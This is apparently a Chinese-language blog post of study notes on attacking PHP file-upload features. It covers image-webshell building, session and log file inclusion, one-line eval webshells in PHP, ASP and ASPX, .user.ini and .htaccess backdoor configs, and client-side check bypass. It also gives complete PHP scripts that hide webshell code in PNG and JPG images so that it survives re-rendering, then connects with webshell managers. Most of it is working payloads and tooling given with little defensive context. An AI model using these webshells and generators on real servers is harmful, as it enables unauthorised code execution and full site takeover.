文件上传

张师傅 发布于 2025-12-11 124 次阅读 预计阅读时间: 29 分钟


文章目录[隐藏]

getimagesize()类型验证

这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

那我们就需要制作一个合格的图片马

我们这里使用cmd命令的方法

CMD:copy /b test.png + muma.php ccc.png

最后会生成一个名为ccc.png的图片马

如果显示系统找不到文件就用 " " 包裹文件

或者直接在文件开头,写入

GIF89a

伪装成一个文件

session文件包含

简介

总结:在客户端尝试构造一个POST请求(用于询问文件上传进度,不论是否需要上传文件,都可以构造),该数据包包含一个参数"PHP_SESSION_UPLOAD_PROGRESS",该参数是一个临时参数会被短暂的包含进一个临时文件下session下【该参数的值可以设置为”“等内容】,通过查看该文件所在位置以及文件名,将临时存在的文件包含,需要找到文件包含的注入点(文件包含的参数)将session文件包含。 (1) 因为PHP_SESSION_UPLOAD_PROGRESS的值是被短暂包含于sess_XXXX文件中(查询完毕该参数值会被删除),需要借助bp爆破,一直不停的发送POST请求包(2) 同时,利用文件包含,借助bp爆破将sess_XXXX文件包含 Session文件包含实现的原理

当可以获取Session文件路径并且Session文件内容可控时,就可以通过包含session文件进行攻击。

实现原理

PHP5.4.0之后为方便用户查看文件上传的进度(在浏览器中),在文件上传时用可以发送一个POST请求到终端(如XHR)来检查这个状态。 POST请求内容:上传文件进度名前缀+上传文件名(夹带私货,比如一句话木马) 将POST请求内容保存(文件上传进度的信息)在生成的临时文件session下 在读取完POST的数据后,php就会删除session文件中关于上传进度的信息。

实现:当一个上传在处理中,同时POST一个与ini中设置的session.upload_progress.name同名变量时,上传进度可以在$session中获得。当PHP检测到这种POST请求时,会在$session中添加一组数据,索引值是:session.upload_progress.prefix与session.upload_progress.name连接到一起的值。这些键值可以通过读取ini设置来获得

相关配置:session.upload_progress.enabled = On (允许检测文件上传进度)session.upload_progress.prefix = “upload_progress_” (上传文件进度名前缀)session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” (上传文件名) 存储机制

本质:当开启session时,服务器会在临时目录下创建一个session文件保存会话信息,文件格式为sess_PHPSESSID

Session文件包含前提

1)通过session_start()才能开启session,如果没有session_start()这个条件是否就没法利用了,这时需要了解到另一个相关配置:session.use_strict_mode

session.use_strict_mode=on

默认情况下此模块是关闭的。

会防止会话模块未初始会话的ID。仅接受它自己创建有效会话ID,而拒绝用户自己创建的会话ID。

我们可以自行设置cookie或者使用JavaScript注入的方式来设置会话ID进行攻击。

该选项不开启,我们可以自定义session_id,如,我们在请求数据包设置cookie为PHPSESSID=123,那么就会生成一个sess_123的session文件,此时php会自动初始化session,并产生一个键值,格式为配置文件中的session.upload_progress.prefix的值+我们上传的session.upload_progress.name的值此键值会写入session文件。该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。

2) 因为 session.upload_progress.cleanup默认是开启的,导致在上传结束后,session文件中有关的上传进度信息(终点在于“夹带的私货”也会被清除)会马上被删除,此时需要使用条件竞争解决。使用python脚本或burp不断上传数据包,然后在用相同的方式发送文件按包含数据包,即可包含

Session文件包含利用技巧

获取Session文件所在位置 session的文件名以sess_开头,后跟sessionid。sessionid可以通过开发者模式获取。 通过phpinfo的信息获取session的存储位置,phpinfo中的session.save_path保存的是session的存储位置。 通过猜测默认的session存储位置进行尝试,通常在Linux中Session默认存储在/var/lib/php/session目录下

  • 文件路径例如:/var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
  1. /var/lib/php/
  2. /var/lib/php/sessions/
  3. /tmp/
  4. /tmp/sessions/

控制Session内容

例如:下述代码会将获取的GET型ctfs变量的值存入session中,攻击者可以利用GET型ctfs参数将恶意代码写入session文件中,然后再利用文件包含漏洞包含此session文件,向系统中传入恶意代码。

<?php session_start(); $ctfs=$_GET['ctfs']; $_SESSION["username"]=$ctfs; ?> 此php会将获取到的GET型ctfs变量的值存入到session中。 当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。 session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。 通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。 当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

payload:

=<?php phpinfo();?> http://127.0.0.1/session.php?ctfs=<?php phpinfo; ?> http://127.0.0.1/FI.php?filename=/var/lib/php/session/sess_812342oi455684090

一句话木马

最简单的一句话木马

 <?php @eval($_POST['attack']);?>

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

常见形式

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

基本原理

<?php @eval($_POST['cmd']); ?>

为什么密码是cmd

那就要来理解这句话的意思了。php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。

如何理解eval()函数

eval()把字符串作为PHP代码执行。

例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。

连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。

四种PHP标记

短标签的绕过

1:XML风格,也是官方推荐的形式
<?php @eval($_POST[1]);?>


2:短标记
<? @eval($_POST[1]);?>
需要开启配置参数short_open_tags=on
<?= @eval($_POST[1]);
自 PHP 5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。


3:ASP风格
<% @eval($_POST[1]); %>
ASP风格标记仅在通过php.ini配置文件中的指令asp_tags打开后才可用。


4:脚本风格
<script language="php">
  echo "666";
</script>
PHP 7.0.0以后失效

日志包含

当过滤了很多符号时我们的一句话木马无法上传,并且没有url_allow_include 功能时,我们就可以考虑包含服务器的日志文件,当我们访问网站时,服务器的日志中会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录日志中

常见目标日志文件

日志类型默认路径(Linux)说明
Nginx访问日志/var/log/nginx/access.log记录HTTP请求
Apache访问日志/var/log/apache2/access.log记录HTTP请求
PHP错误日志/var/log/php_errors.log记录PHP运行错误
SSH日志/var/log/auth.log记录SSH登录尝试
邮件日志/var/log/mail.log记录邮件发送记录

user.ini

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

模式含义
PHP_INI_USER可在用户脚本(比如ini_set)或Windows注册表以及.user.ini中设定
PHP_INI_PERDIR可在php.ini, .htaccess或httpd.conf中设定
PHP_INI_SYSTEM可在php.ini或httpd.conf中设定
PHP_INI_ALL可以在任何地方设定

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。 auto_append_fileauto_prepend_file

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

01.gif是要包含的文件。

加载1.gif文件

上传1.gif文件

GIF89a
<script language='php'> @eval($_POST['a']);</script>

访问同目录中的php文件,例如index.php ,先通过本目录中的配置文件.user.ini进行加载1.gif文件从而达到加载后门的目的

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

.htaccess

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。 笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。 .htaccess文件可以在网站目录树的任何一个目录中,只对该文件所在目录中的文件和子目录有效。

注意:

1、子目录中的指令会笼盖更高级目录或者主器配置中的指令。 如果 .htaccess 文件保存在 /apache/home/www/Gunjit/ 目录,那么它会向该目录中的所有文件和子目录提供命令,但如果该目录包含一个名为 /Gunjit/images/ 子目录,且该子目录中也有一个 .htaccess 文件,那么这个子目录中的命令会覆盖父目录中 .htaccess 文件(或者目录层次结构中更上层的文件)提供的命令。

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

2、.htaccess必需以ASCII模式上传,最好将其权限设置为644。 3、使用.htaccess文件,会降低httpd服务器的一点性能

如何启用.htaccess 要在服务器上使用.htaccess文件配置,必须要求服务器开通对于的支持。两个条件:1.mod_rewrite模块开启;2. AllowOverride All, 如何配置:

启用AllowOverride。打开httpd.conf, 将工作目录下的AllowOverride None 改为AllowOverride All。

开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可。

  1. 重启apache

使用方法

1使用方法,上传.htaccess文件内容如下

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
匹配文件名为“shell”的文件,该文件作为可执行程序解析

或者

AddType application/x-httpd-php .jpg
jpg文件作为可执行程序执行

2再上传shell.jpg

GIF89a
<script language='php'> @eval($_POST['a']);</script>

3访问shell.jpg文件

前端绕过

删除前端校验文件

直接删除js代码

禁用js代码

使用插件

bp抓包

使用bp抓包,修改为木马后缀名。再contnet-type将上传的文件后缀进行修改


二次渲染

原理:

在我们上传文件后,网站会对图片进行二次处理,服务器会把里面的内容进行替换更新,根据原有的图片进行对比,找到没修改的部分,然后利用这一部分,生成一个新的图片并放到网站的对应标签进行显示。

GIF绕过

第一步:制作图片马

方法一:直接用Notepad++等记事本类型软件打开,在图片后写入执行语句

方法二:(b代表的是二进制)使用命令将两个文件内容合并(可以将zip等其他类型文件伪装成图片等,copy/b 1.gif/b+1.rar/b 2.gif)

将准备的1.gif 和2.php文件,最后再和成为3.gif

在目录下按住shift,再右键打开Open in Windows Terminal(或者从命令提示符进入到这个目录中)

copy 1.gif/b + 2.php/a 3.gif

第二步:将文件上传,然后再对比原文件。上传后,使用010进制编辑器自带的比较文件,点击tools,点击compare Files,选match部分,即16进制蓝色字段就是没被改变的

第三步:可以在没有改变的地方插入而已代码

第四步:获取浏览器打开文件地址,软件连接

PNG绕过

PNG数据组成:

关键数据块+辅助数据块

每个PNG由3个标准数据块(IHDR,IDAT,IEND)

标准数据块:

IHDR(header chunk):

包含有PNG文件中存储的图像数据的基本信息,并作为第一个数据块出现在PNG数据流中,一个PNG数据流中只能有一个文件头数据块

IDAT(image data chunk):

存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,了解IDAT的结构,就可以生成PNG图像

IEND(image trailer chunk)

标记PNG文件或者数据流已经结束,并且必须放在文件的尾部,即

00 00 00 00 49 45 4E 44 AE 42 60 82

辅助数据块:

PLTE:

是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

利用过程:使用PHP脚本写入在IDTA中

第一步:创建IDAT_png.php脚本(生成一个绕过渲染的图片马):

运行脚本即可生成

<?$_GET[0]($_POST[1];?)>

使用方式:get传参0= post传参1=

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
          0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
          0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
          0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
          0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
          0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
          0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
          0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
  $r = $p[$y];
  $g = $p[$y+1];
  $b = $p[$y+2];
  $color = imagecolorallocate($img, $r, $g, $b);
  imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

第二步:使用php命令执行php脚本文件

执行命令(没报错就是成功)

php IDAT_png.php 2.png

然后可以看到生成了一个php脚本里面运行出来的1.png文件

上传生成的1.png文件,在浏览器上访问

能正常访问

用的php脚本生成的图片所写入的是<?$_GET[0]($_POST[1]);?>

(根据脚本写入情况来定,不确定可以用010 Editor等编辑器查看)

然后结合文件上传,进行GET和POST传参

get传参0=

post传参1=

(我们可以通过把上传的图片再保存到本地,用010 Editor查看) 然后蚁剑连接

JPG绕过

JPG是JPEG的简写,jpg是后缀名,jpeg既可以作为后缀名又能代表文件格式和png的操作步骤基本一致,就是脚本不一样。

在和JPG同一文件下创建jpg_payload.php脚本

<?php

  $miniPayload = "<?=phpinfo();?>";


  if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
      die('php-gd is not installed');
  }

  if(!isset($argv[1])) {
      die('php jpg_payload.php <jpg_name.jpg>');
  }

  set_error_handler("custom_error_handler");

  for($pad = 0; $pad < 1024; $pad++) {
      $nullbytePayloadSize = $pad;
      $dis = new DataInputStream($argv[1]);
      $outStream = file_get_contents($argv[1]);
      $extraBytes = 0;
      $correctImage = TRUE;

      if($dis->readShort() != 0xFFD8) {
          die('Incorrect SOI marker');
      }

      while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
          $marker = $dis->readByte();
          $size = $dis->readShort() - 2;
          $dis->skip($size);
          if($marker === 0xDA) {
              $startPos = $dis->seek();
              $outStreamTmp =
                  substr($outStream, 0, $startPos) .
                  $miniPayload .
                  str_repeat("\0",$nullbytePayloadSize) .
                  substr($outStream, $startPos);
              checkImage('_'.$argv[1], $outStreamTmp, TRUE);
              if($extraBytes !== 0) {
                  while((!$dis->eof())) {
                      if($dis->readByte() === 0xFF) {
                          if($dis->readByte() !== 0x00) {
                              break;
                          }
                      }
                  }
                  $stopPos = $dis->seek() - 2;
                  $imageStreamSize = $stopPos - $startPos;
                  $outStream =
                      substr($outStream, 0, $startPos) .
                      $miniPayload .
                      substr(
                          str_repeat("\0",$nullbytePayloadSize).
                              substr($outStream, $startPos, $imageStreamSize),
                          0,
                          $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                              substr($outStream, $stopPos);
              } elseif($correctImage) {
                  $outStream = $outStreamTmp;
              } else {
                  break;
              }
              if(checkImage('payload_'.$argv[1], $outStream)) {
                  die('Success!');
              } else {
                  break;
              }
          }
      }
  }
  unlink('payload_'.$argv[1]);
  die('Something\'s wrong');

  function checkImage($filename, $data, $unlink = FALSE) {
      global $correctImage;
      file_put_contents($filename, $data);
      $correctImage = TRUE;
      imagecreatefromjpeg($filename);
      if($unlink)
          unlink($filename);
      return $correctImage;
  }

  function custom_error_handler($errno, $errstr, $errfile, $errline) {
      global $extraBytes, $correctImage;
      $correctImage = FALSE;
      if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
          if(isset($m[1])) {
              $extraBytes = (int)$m[1];
          }
      }
  }

  class DataInputStream {
      private $binData;
      private $order;
      private $size;

      public function __construct($filename, $order = false, $fromString = false) {
          $this->binData = '';
          $this->order = $order;
          if(!$fromString) {
              if(!file_exists($filename) || !is_file($filename))
                  die('File not exists ['.$filename.']');
              $this->binData = file_get_contents($filename);
          } else {
              $this->binData = $filename;
          }
          $this->size = strlen($this->binData);
      }

      public function seek() {
          return ($this->size - strlen($this->binData));
      }

      public function skip($skip) {
          $this->binData = substr($this->binData, $skip);
      }

      public function readByte() {
          if($this->eof()) {
              die('End Of File');
          }
          $byte = substr($this->binData, 0, 1);
          $this->binData = substr($this->binData, 1);
          return ord($byte);
      }

      public function readShort() {
          if(strlen($this->binData) < 2) {
              die('End Of File');
          }
          $short = substr($this->binData, 0, 2);
          $this->binData = substr($this->binData, 2);
          if($this->order) {
              $short = (ord($short[1]) << 8) + ord($short[0]);
          } else {
              $short = (ord($short[0]) << 8) + ord($short[1]);
          }
          return $short;
      }

      public function eof() {
          return !$this->binData||(strlen($this->binData) === 0);
      }
  }
?>

使用php脚本创建一个图片马

php jpg_payload.php a.jpg

后面就基本一致了